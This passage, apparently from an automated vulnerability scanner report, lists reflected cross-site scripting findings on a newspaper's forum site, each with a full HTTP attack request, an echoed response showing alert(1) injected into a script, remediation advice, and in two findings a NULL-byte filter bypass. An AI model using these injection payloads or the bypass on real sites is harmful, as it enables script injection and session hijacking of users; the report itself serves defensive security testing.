Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:26 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:50 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22096

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forum45812"-alert(1)-"613868a3771/576";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=get
...[SNIP]...

1.8. http://forums.mercurynews.com/forum/576 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forum/576

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 79cf3"-alert(1)-"89396556484 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forum/57679cf3"-alert(1)-"89396556484 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:06:36 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:00 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 16253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
age="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forum/57679cf3"-alert(1)-"89396556484";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.9. http://forums.mercurynews.com/forum/576 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forum/576

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4beb6"-alert(1)-"9c54b14f479 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forum/576?4beb6"-alert(1)-"9c54b14f479=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response (redirected)

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:06:22 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:46 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20988

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
!= 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forum/business-technology-business-news?4beb6"-alert(1)-"9c54b14f479=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.10. http://forums.mercurynews.com/forum/business-technology-business-news [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forum/business-technology-business-news

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6416f"-alert(1)-"3bf608c035c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forum6416f"-alert(1)-"3bf608c035c/business-technology-business-news HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:23 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:47 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22156

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forum6416f"-alert(1)-"3bf608c035c/business-technology-business-news";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVa
...[SNIP]...

1.11. http://forums.mercurynews.com/forum/business-technology-business-news [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forum/business-technology-business-news

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 67461"-alert(1)-"eb6ddd1910a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forum/business-technology-business-news67461"-alert(1)-"eb6ddd1910a HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:06:32 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:56 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 16333

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
!= 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forum/business-technology-business-news67461"-alert(1)-"eb6ddd1910a";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.12. http://forums.mercurynews.com/forum/business-technology-business-news [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forum/business-technology-business-news

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 931e2"-alert(1)-"60a68e53a4e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forum/business-technology-business-news?931e2"-alert(1)-"60a68e53a4e=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:06:10 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:34 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 20988

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
!= 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forum/business-technology-business-news?931e2"-alert(1)-"60a68e53a4e=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.13. http://forums.mercurynews.com/forum/news [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forum/news

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f7ec4"-alert(1)-"16924a4f316 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forumf7ec4"-alert(1)-"16924a4f316/news HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:38 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:02 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22098

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
anguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forumf7ec4"-alert(1)-"16924a4f316/news";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=ge
...[SNIP]...

1.14. http://forums.mercurynews.com/forum/news [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forum/news

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 54941"-alert(1)-"d801b306391 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forum/news54941"-alert(1)-"d801b306391 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:06:44 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:08 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 16072

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
ge="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forum/news54941"-alert(1)-"d801b306391";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.15. http://forums.mercurynews.com/forum/news [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forum/news

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c9da1"-alert(1)-"992e5590b97 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forum/news?c9da1"-alert(1)-"992e5590b97=1 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 02:06:24 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:48 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 19272

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
e="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forum/news?c9da1"-alert(1)-"992e5590b97=1";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCi
...[SNIP]...

1.16. http://forums.mercurynews.com/forums/forum/602 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/forum/602

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ef319"-alert(1)-"7ea175d2fc0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /forumsef319"-alert(1)-"7ea175d2fc0/forum/602 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:21 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:45 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22112

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
nguage="JavaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forumsef319"-alert(1)-"7ea175d2fc0/forum/602";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campai
...[SNIP]...

1.17. http://forums.mercurynews.com/forums/forum/602 [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/forum/602

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %00ef166"-alert(1)-"5348053c353 was submitted in the REST URL parameter 2. This input was echoed as ef166"-alert(1)-"5348053c353 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/forum%00ef166"-alert(1)-"5348053c353/602 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:27 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:06:51 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22068

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
avaScript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/forum%00ef166"-alert(1)-"5348053c353/602";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=get
...[SNIP]...

1.18. http://forums.mercurynews.com/forums/forum/602 [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
Path:   /forums/forum/602

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload %0087dba"-alert(1)-"bd7fc6dfef5 was submitted in the REST URL parameter 3. This input was echoed as 87dba"-alert(1)-"bd7fc6dfef5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

GET /forums/forum/602%0087dba"-alert(1)-"bd7fc6dfef5 HTTP/1.1
Host: forums.mercurynews.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ZZRDB162,570,21=1; ZZFLSH=29; s_cc=true; SESS7d37fc218a44afb27b49a326af87a923=c6904e1d744ab22a8dce30fd2e5d7e63; s_sq=%5B%5BB%5D%5D; __qca=P0-1453715116-1289775685507;

Response

HTTP/1.1 404 Not Found
Date: Mon, 15 Nov 2010 02:06:39 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
X-Powered-By: PHP/5.2.6
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Mon, 15 Nov 2010 02:07:03 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 22068

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title
...[SNIP]...
cript">
if (typeof s != 'undefined') {
   s.pageName="";
   s.channel="Forums";
   s.prop1="Home";
   s.prop2=s.prop1 + " / Opinion";
   s.prop3=s.prop2 + " / Forums";
   s.prop4=s.prop3 + " / forums/forum/602%0087dba"-alert(1)-"bd7fc6dfef5";
   s.prop9=getCiQueryString("SOURCE");
   s.campaign=getCiQueryString("EADID")+getCiQueryString("CREF");
   s.events="event1";
   s.eVar2=getCiQueryString("SOURCE");
   s.eVar4=s.pageName;
   s.campaign=getCiQu
...[SNIP]...

1.19. http://forums.mercurynews.com/forums/forum/673 [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://forums.mercurynews.com
